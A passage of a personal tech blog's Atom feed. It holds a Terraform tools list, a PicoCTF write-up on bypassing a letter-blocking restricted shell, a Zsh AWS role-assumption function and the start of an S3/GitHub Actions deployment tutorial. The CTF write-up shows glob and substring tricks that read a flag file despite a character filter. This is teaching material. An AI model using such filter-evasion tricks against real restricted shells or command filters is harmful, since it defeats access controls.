&lt;li&gt;&lt;a href=&quot;https://github.com/DontShaveTheYak/cf2tf&quot;&gt;cf2tf&lt;/a&gt; - CloudFormation to Terraform converter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/humanmade/cf-to-tf&quot;&gt;cf-to-tf&lt;/a&gt; - CloudFormation to Terraform converter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aws/amazon-ecs-cli-v2&quot;&gt;specctl&lt;/a&gt; - Kubernetes to ECS converter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tmccombs/hcl2json&quot;&gt;hcl2json&lt;/a&gt; - HCL to JSON converter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/terraform-docs/terraform-docs&quot;&gt;terraform-docs&lt;/a&gt; - Documentation generator for Terraform modules&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.brainboard.co&quot;&gt;Brainboard&lt;/a&gt; - Visual infrastructure builder and Terraform code generator&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bridgecrewio/AirIAM&quot;&gt;AirIAM&lt;/a&gt; - AWS IAM least privilege Terraform framework&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jameswoolfenden/pike&quot;&gt;Pike&lt;/a&gt; - IAM policy analysis tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nozaq/terraform-aws-secure-baseline&quot;&gt;Terraform AWS Secure Baseline&lt;/a&gt; - AWS account secure baseline configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gruntwork-io/terragrunt-infrastructure-live-example&quot;&gt;Terragrunt example infrastructure&lt;/a&gt; - Example implementation of Terragrunt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bridgecrewio/yor&quot;&gt;yor&lt;/a&gt; - Automated infrastructure tagging tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tfmigrator/cli&quot;&gt;tfmigrator CLI&lt;/a&gt; - Terraform configuration and state migration tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/refl3ction/tfgen&quot;&gt;tfgen&lt;/a&gt; - Terraform monorepo management tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mazen160/tfquery&quot;&gt;tfquery&lt;/a&gt; - SQL queries for Terraform infrastructure&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mercari/tfnotify&quot;&gt;tfnotify&lt;/a&gt; - Terraform execution notification tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/open-policy-agent/conftest&quot;&gt;Conftest/Confectionery&lt;/a&gt; - Policy testing against configurations&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Bash with no letters</title>
    <link href="https://jrb.nz/posts/bash-tricks/" />
    <updated>2024-10-10T00:00:00Z</updated>
    <id>https://jrb.nz/posts/bash-tricks/</id>
    <content type="html">&lt;p&gt;I recently did a challenge on PicoCTF (&lt;code&gt;U2Fuc0FscGhhCg&lt;/code&gt; 🐶) and I had to explore some bash trickery to solve it. I learned a few tricks that are worth noting here for future me or future you.&lt;/p&gt;
&lt;p&gt;The challenge starts in a limited shell in which you can only enter numbers and &lt;em&gt;some&lt;/em&gt; special characters.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt;
Unknown character detected
$ &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;l&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;s
Unknown character detected
$ &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;l&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;s
Unknown character detected&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Excluded characters were: &lt;code&gt;a-zA-Z&#92;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Got to find a way to enter letters without using letters! Or so I thought.&lt;/p&gt;
&lt;h2 id=&quot;substring-expansion&quot;&gt;Substring expansion&lt;/h2&gt;
&lt;p&gt;My first idea was to capture any error message into a variable and to use that to get the letters I needed.&lt;/p&gt;
&lt;p&gt;Once I got &lt;code&gt;l&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt;, I could capture the output of &lt;code&gt;ls&lt;/code&gt; and then &lt;code&gt;cat&lt;/code&gt; the flag file.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ /_
bash: /_: No such &lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt; or directory

&lt;span class=&quot;token comment&quot;&gt;# capture the error message with redirection of stderr into stdout&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;_1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt; /_ &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;&amp;amp;1&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# excellent! we now have access to an l and an s&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# index 0 is `b`, index 1 is `a`, and so on&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# ls&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;20&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;2&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt;
folder    on-celestran.txt

&lt;span class=&quot;token comment&quot;&gt;# capture output of ls to reference the folder name&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;_3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;_1:20:1&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;_1:2:1&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;&amp;amp;1&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# ls folder&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;20&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;2&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;${_3&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;0&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;6}&lt;/span&gt;
flag.txt  on-elphe-9.txt

&lt;span class=&quot;token comment&quot;&gt;# capture output of ls folder&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;_4&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;_1:20:1&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;_1:2:1&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;_3:0:6&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;&amp;amp;1&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# cat folder/flag.txt&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;30&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${_1&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;31&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;1}&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;${_3&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;0&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;6}&lt;/span&gt;/&lt;span class=&quot;token variable&quot;&gt;${_4&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;0&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;8}&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;redacted-flag&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s very ugly to say the least. But I got the flag anyway! 🚩&lt;/p&gt;
&lt;p&gt;That was the long way, though. Turns out there was a very simple way to get the flag. Not sure why I didn&#39;t think of it earlier!&lt;/p&gt;
&lt;h2 id=&quot;path-expansion-wildcards-and-pattern-matching&quot;&gt;Path expansion, wildcards &amp;amp; pattern matching&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.gnu.org/software/bash/manual/html_node/Pattern-Matching.html&quot;&gt;Pattern matching in the bash manual&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using only &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt;, we can list files in directories or call some binaries.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ /***/****&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
/bin/base64: extra operand ‘/bin/col6’
Try &lt;span class=&quot;token string&quot;&gt;&#39;/bin/base64 --help&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;more&lt;/span&gt; information.&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To make this work, we would need something more specific since we&#39;re matching more than one binary. But it could work.&lt;/p&gt;
&lt;p&gt;An even easier way is to use only path expansion and wildcards.&lt;/p&gt;
&lt;p&gt;I noticed &lt;code&gt;~&lt;/code&gt; was working as expected:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ ~/
bash: /home/ctf-player/: Is a directory

$ ~/*
bash: /home/ctf-player/folder: Is a directory

$ ~/??????/*
bash: /home/ctf-player/folder/flag.txt: Permission denied&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we know where the flag is located!&lt;/p&gt;
&lt;h2 id=&quot;subshell&quot;&gt;Subshell&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The command substitution &lt;code&gt;$(cat file)&lt;/code&gt; can be replaced by the equivalent but faster &lt;code&gt;$(&amp;lt; file)&lt;/code&gt;. &lt;a href=&quot;https://flokoe.github.io/bash-hackers-wiki/syntax/expansion/cmdsubst/?h=subs#specialities&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Turns out we don&#39;t even need letters!&lt;/p&gt;
&lt;p&gt;Reading the flag is as simple as sending the path pattern as an input redirect in the subshell. Since there&#39;s the &lt;code&gt;return 0&lt;/code&gt; string at the beginning of the flag file, we need to quote the command substitution to get the whole string.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;~/*/????.???&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
bash: &lt;span class=&quot;token builtin class-name&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;redacted-flag&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;: &lt;span class=&quot;token builtin class-name&quot;&gt;command&lt;/span&gt; not found&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There you have it, folks, that&#39;s bash in all its beauty! 😅&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Zsh function to assume a role in AWS</title>
    <link href="https://jrb.nz/posts/aws-assume-role/" />
    <updated>2023-06-14T00:00:00Z</updated>
    <id>https://jrb.nz/posts/aws-assume-role/</id>
    <content type="html">&lt;div class=&quot;markdown-alert markdown-alert-note&quot;&gt;&lt;p class=&quot;markdown-alert-title&quot;&gt;&lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;Note&lt;/p&gt;&lt;p&gt;The Granted CLI &lt;a href=&quot;https://github.com/fwdcloudsec/granted/pull/527&quot;&gt;added&lt;/a&gt; the &lt;code&gt;--chain&lt;/code&gt; flag a few months after publishing this, offering a cleaner solution to what I was doing with this script.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Working in AWS, I sometimes need to test a role to debug some issues or validate some hypotheses.&lt;/p&gt;
&lt;p&gt;I&#39;m already using the &lt;a href=&quot;https://github.com/common-fate/granted&quot;&gt;Granted CLI&lt;/a&gt; to assume federated roles in the AWS accounts I have access to, but it doesn&#39;t let me quickly change role (either in the same AWS account or in another one).&lt;/p&gt;
&lt;p&gt;I wrote a small Zsh function to make this possible.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AWS CLI installed&lt;/li&gt;
&lt;li&gt;Granted CLI app installed and set up&lt;/li&gt;
&lt;li&gt;A directory to store your Zsh functions (in my case, &lt;code&gt;~/.zfunctions&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.zshrc&lt;/code&gt; configured to autoload functions from that directory&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;autoload-functions-in-zshrc&quot;&gt;Autoload functions in &lt;code&gt;.zshrc&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Add these lines inside your &lt;code&gt;.zshrc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fpath=(~/.zfunctions $fpath)&lt;/code&gt;
&lt;code&gt;autoload -Uz ${fpath[1]}/*(:t)&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;zsh-function-role-assume&quot;&gt;Zsh function: &lt;code&gt;role-assume&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Write the following to the file &lt;code&gt;~/.zfunctions/role-assume&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;

&lt;span class=&quot;token function-name function&quot;&gt;role-assume&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-z&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Usage: role-assume &amp;lt;role-arn&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Example: role-assume &lt;span class=&quot;token entity&quot; title=&quot;&#92;&amp;quot;&quot;&gt;&#92;&quot;&lt;/span&gt;arn:aws:iam::123456789000:role/role-name&lt;span class=&quot;token entity&quot; title=&quot;&#92;&amp;quot;&quot;&gt;&#92;&quot;&lt;/span&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;exit&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;

  &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt; out
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;aws sts assume-role --role-arn &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;&quot;&lt;/span&gt; --role-session-name assume-role-local-func &lt;span class=&quot;token parameter variable&quot;&gt;--output&lt;/span&gt; json&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Failed to assume role&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;&amp;amp;2&lt;/span&gt;
    &lt;span class=&quot;token builtin class-name&quot;&gt;exit&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;

  &lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;.Credentials.AccessKeyId&#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;.Credentials.SecretAccessKey&#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;.Credentials.SessionToken&#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;

  &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Trying &#39;aws sts get-caller-identity&#39;&quot;&lt;/span&gt;
  aws sts get-caller-identity &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;.UserId&#39;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;testing&quot;&gt;Testing&lt;/h3&gt;
&lt;p&gt;Open a new shell. You should now be able to assume a role by passing the ARN to the function.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# use granted `assume` cli app to get the initial credentials&lt;/span&gt;

assume account-role-x

&lt;span class=&quot;token comment&quot;&gt;# [✔] [account-role-x](ca-central-1) session credentials will expire in 8 hours&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# call the function with a role ARN&lt;/span&gt;

role-assume arn:aws:iam::role-y-other-account

Trying &lt;span class=&quot;token string&quot;&gt;&#39;aws sts get-caller-identity&#39;&lt;/span&gt;
ABCDREEEEWWWWKBKB:role-y-other-account&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function is outputting the userId returned by &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; to confirm that we now have the new credentials.&lt;/p&gt;
&lt;p&gt;Obviously, the trust policy in the role you want to assume must allow the initial role/user to perform sts:AssumeRole. Such as:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;AWS&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;arn:aws:iam::111122223333:role/account-role-x&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sts:AssumeRole&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Basic CI/CD pipeline with AWS S3, 11ty and GitHub Actions</title>
    <link href="https://jrb.nz/posts/eleventy-aws-s3/" />
    <updated>2022-08-25T00:00:00Z</updated>
    <id>https://jrb.nz/posts/eleventy-aws-s3/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;As a DevOps learning project, I&#39;ve decided to host a copy of this website on AWS using S3 and CloudFront services. From the current process that&#39;s using Vercel as a build/deploy tool, I&#39;m now trying the manual way to learn the intricacies of it all: GitHub Actions, CloudFront and S3. The first step is to do it with the AWS web management console, and then to use Terraform and IaC to put this in place.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As you may know, this website is built using &lt;a href=&quot;https://11ty.dev&quot;&gt;Eleventy&lt;/a&gt;, a static site generator. I build the website locally, and push it to GitHub in a private repository. Currently, I use Vercel to build and deploy the website automatically on each push to the main branch. Each changes then goes live and is available at https://jrb.nz in the following minutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The goal here is to manually do the part that Vercel does for me: host the website in a AWS S3 bucket, automate the build/deploy pipeline with GitHub Actions, and add CloudFront as the CDN on top of it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ll explain how to proceed with the AWS Management Console, and then (eventually) link to the IaC Terraform files at the end.&lt;/p&gt;
&lt;h2 id=&quot;create-a-s3-bucket-for-webhosting&quot;&gt;Create a S3 bucket for webhosting&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Log into the AWS Management Console, and navigate to the S3 section&lt;/li&gt;
&lt;li&gt;Click on the button &lt;strong&gt;Create bucket&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Choose the region in which you want your bucket (I&#39;m using us-east-2 to stay in the Free Tier)&lt;/li&gt;
&lt;li&gt;Untick &lt;strong&gt;Block all public access&lt;/strong&gt;: we want the files inside the bucket to be available to anyone on the web&lt;/li&gt;
